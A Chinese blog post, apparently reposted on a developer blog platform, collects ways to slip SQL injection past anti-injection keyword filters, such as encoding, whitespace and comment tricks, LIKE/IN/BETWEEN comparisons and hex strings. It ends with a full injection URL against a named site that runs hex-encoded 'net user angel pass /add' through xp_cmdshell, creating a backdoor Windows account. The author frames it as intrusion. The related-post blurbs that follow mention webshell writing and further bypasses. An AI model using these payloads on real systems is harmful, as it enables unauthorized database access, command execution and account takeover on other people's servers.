突破SQL注入限制的一点想法

SQL注入绕过技巧 阅读详情
 作者:A1Pass
来源:A1Pass's Blog
地址:http://a1pass.blog.163.com/

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“'”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……

经过我的收集,大部分的防注入程序都过滤了以下关键字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。

对于关键字的过滤,以下是我收集的以及我个人的一些想法。

1、运用编码技术绕过

如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过

如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替

用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过

可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过

效果值得考证,但毕竟是一种方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' )
6、通过LIKE绕过

以前怎么就没想到呢?如or 'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过

与上面的LIKE的思路差不多,如or 'swords' IN ('swords')

8、通过BETWEEN绕过

如or 'swords' BETWEEN 'rw' AND 'tw'

9、通过>或者<绕过

or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3

……

10、运用注释语句绕过

用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a

效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。
SQL注入之突破WHERE限制的SQL子句,显示表内全部内容 实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉。若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。再次尝试发现似乎不行,因为查询的是数字,可能限定为整数型。在控制台输入时间查询,确认时间是可查询的。从总体来看,日志中比较可疑的两处功能点。也有可能页面的内容不需要改变,不存在。语句,并且注释掉后面的内容。 阅读详情

相关推荐

突破MySQL安全限制:利用SQL注入写入WebShell的实战技巧

本文深入探讨了利用SQL注入漏洞向服务器写入WebShell的实战技巧。文章详细解析了MySQL的`SELECT ... INTO OUTFILE`功能如何被滥用,并重点分析了关键安全限制`secure_file_priv`的三种状态及其影响。同时,介绍了在Union注入不可用时的替代方法,以及如何通过日志文件绕过严格限制,最终从防御视角提供了多层安全加固建议。

weixin_28335283的博客 351

用什么方法绕过SQL注入的限制呢

用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……经过我的收集,大部分的防注入程序都过滤了以下关键字:and | select | update | chr | delete | %20from

jahn的专栏 1104

SQL注入实验

SQL注入实验和站在防御者角度该怎么预防Sql注入

xiongIT的博客 3194

jdbc的增删改查

1.查询数据库表中记录。 @Test //理解为main函数。可以独立运行。 public void testQuery() throws Exception { //抛出异常只是为了操作方便。真正在开发时应该try--catch Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection ("jdbc:mysql://localhost:3306/mydb?serv

ne_123456的博客 1356

xilinx zynq-7000 linux下rs422串口通信测试步骤

这几天使用xilinx的zynq-7000系列调试rs422串口,期间遇到不少问题,好在最终调试完成,在这里记录一下调试步骤。 我用的soc型号是xc7z100,板载了2个rs422外设,PS端有2个uart控制器,uart0用于连接rs232并作为console控制台输出,uart1连接rs422。 rs422和主板连线原理图如下: 其中422_TXD1_3V3 和422_RXD1_3V3 为数据发送和接收引脚,422_TXD_DE1_3V3为发送使能引脚,422_RXD_REn1_...

dongyunke的博客 5907

「分治法」最近点对距离问题

一、问题描述 给定平面S上n个点,找其中的一对点,使得在n个点组成的 所有点对中,该点对间的距离最小。 假设所讨论的点是以标准笛卡儿坐标形式(x, y)给出的。因 此,在两个点Pi =(xi , yi )和Pj =(xj , yj )之间的距离是标准的欧几里德 距离: d = 根号下( x i − x j ) 2 + ( y i − y j )2 二、问题分析 直接用暴力解法很简单,用结构体把每个点的x、y坐标都存下来之后,用一个二重循环即可获得距离的最大值。但是这样做的时间复杂度也达到了O(n的平方)

Laok0413的博客 9656

SQL注入实战:绕过操作

preg replace(mixed $pattern, mixed $replacement, mixed$subject):执行-个正则表达式的搜索和替换。id=1 && 1=1或者?可以利用网络中的开源的URL在线编码,绕过SQL注入的过滤机制。1、大小写变形,Or,OR,oR,And,ANd,aND等-代码中大小写不敏感都剔除。3、利用符号代替--and --&& --or--|| 等。5、网站的每个数据层的编码统一,建议全部使用utf-8编码。

ting_liang的博客 3616

Pywinauto与Inspect.exe完美搭配:解决Windows应用UI自动化中的元素定位难题

本文详细介绍了如何将Pywinauto与Inspect.exe结合,以解决Windows应用UI自动化中的核心难题——元素定位。通过实战指南,阐述了如何利用Inspect.exe在UIA模式下精准侦察控件属性,并将这些信息转化为Pywinauto的稳健定位策略,从而高效自动化WPF、WinForms等现代框架构建的复杂桌面应用。

weixin_29297127的博客 520

SQL注入绕过

注释符号绕过 大小写绕过 双写绕过 编码绕过 <>绕过 对空格的绕过 对or/and的绕过 对等号=的绕过 对单引号的绕过 对逗号的绕过 过滤函数绕过 ...

anlalu233的博客 830

PCIe Gen4 Switch芯片PM40028调试踩坑实录:从boot引脚设置到串口无输出的诡异问题

本文记录了PCIe Gen4 Switch芯片PM40028的实战调试过程,重点剖析了从boot引脚配置错误导致串口无输出,到使用逻辑分析仪定位并解决启动问题的完整排障思路。文章深入探讨了芯片启动流程、硬件信号测量方法,并总结了高速硬件调试的核心经验与系统性排查清单,为工程师解决类似PCIe Gen4设备调试难题提供实用指南。

i8j9k0l1的博客 252

手把手教你学PCIE(11.3)--pcie的认证和合规性测试

PCIe 设备的认证和合规性测试是确保设备正常工作和达到预期性能的关键步骤。通过使用 PCI-SIG 提供的测试工具和第三方测试工具,可以全面评估 PCIe 设备的物理层、链路层、事务层和互操作性,确保设备符合行业标准和规范。

MHD0815的博客 1360

031 突破SQL注入限制的一点想法

突破SQL注入限制的一点想法 2007-08-21 08:18:20| 分类: 思绪燃星火——技 题记:自己的一点想法,再加上网上搜集的一些资料,应该是很有价值的。 [转载请注明版权] 黑客反病毒论坛 http://bbs.hackav.com 近来技术没啥长进,竟弄些没用的了,想想真是可惜啊…… 突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是...

hackdoors的博客 546

一文搞懂多速率信号处理中信号插值的本质:从插 0、插原值到线性插值!

信号插值在数字信号处理中经常被使用,但“插值”背后究竟发生了什么,却常被忽略。插0、插原值、线性插值看似只是不同的实现方式,实则对应着完全不同的频域效应与滤波特性。本文将结合公式与MATLAB仿真,深入剖析插0、插原值与线性插值三种典型策略的本质区别。

m0_66360845的博客 918

突破SQL注入攻击时输入框长度的限制

作者:  czy82     前天TK研究的一个网页改COOKIE的小玩意儿给我了一点点灵感昨晚又和adam聊了聊SQL注入,今早上来就写了这篇东东.    xp_cmdshell net user abc def /add这些命令大家想必都用烂了吧,但是在实际的测试中我们常常会遇到这样的情况,服务器的asp脚本没有对用户的输入做限制,但是在网页上通过对输入框设置maxlength属性使我们的

谈笑书生'BLOG 2631

⑩电子产品拆解分析-家用无线遥控开关433Mhz

①免布线随意贴,装上就能使用解决单线开关烦恼;②遥控配对简单,无线通讯距离长,信号可穿墙;

a6662580的博客 4702

Coze智能体开发:工作流教程之解析文件概述

大模型本身并不具备文件读取和解析的能力,无法直接处理文件字节流。对于支持工具调用(Function calling)的模型,扣子提供插件功能来帮助大模型调用外部工具 API,拓展大模型的能力边界。扣子插件商店提供海量官方插件和第三方插件,例如链接读取插件可以将链接对应的文件内容解析为纯文本传递给大模型。

王国平的博客 1793

SQL注入之EVAL长度限制突破技巧

这里向param传入的$_GET[1],这个GET[1]接受的参数是file_put_contents,实际GET[1]中写的就是file_put_contents,这个file_put_contents里传了三个参数,N、P、8,N是我们要写的文件名,也就是我们要写进这个文件里去,P是我们一句话木马的一个base64编码,8代表着追加。后在Linux中的查看会发现多了一个N的文件,N文件中内容为P,再执行一个web.php?

m0_65858385的博客 1110

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

DVWA靶场之SQL注入通关详解

获得字段中的数据,使用查询语句:1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #。获取表中的字段名,当输入查询语句(1 union select 1,column_name from information_schema.columns where table_name=‘users’)后,会发现报错了,原因是语句中含有单引号。没有进行敏感字符过滤。

2401_87298986的博客 1906

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

SQL 报错注入

通过以上步骤,可完整实现三大核心函数的报错注入,高效获取数据库敏感数据。关键在于掌握 “函数组合触发报错” 的核心逻辑,同时注意语法闭合、长度限制和防护绕过。

2401_89209088的博客 1440

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

登录口SQL注入突破32位限制获取密码

虽然本文主要讲述了SQL注入,但同时也记录了在测试这个网站时的整体思考方式以及不同测试点的攻击方式。将这种方式记录下来并形成自己在渗透测试中的checklist,可以使渗透流程更加标准化,使整个测试过程更加行云流水得心应手。

qq_27278819的博客 527

关于突破SQL注入限制的新思路

http://www.bitscn.com/network/protect/200804/139215.html 突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 

天元喜羊羊的博客 1838
上一篇: 检测国内大型网游戏交易站
下一篇: 利用serv-u拿下网上商城
HackCode
博客等级 码龄18年 12粉丝 55原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值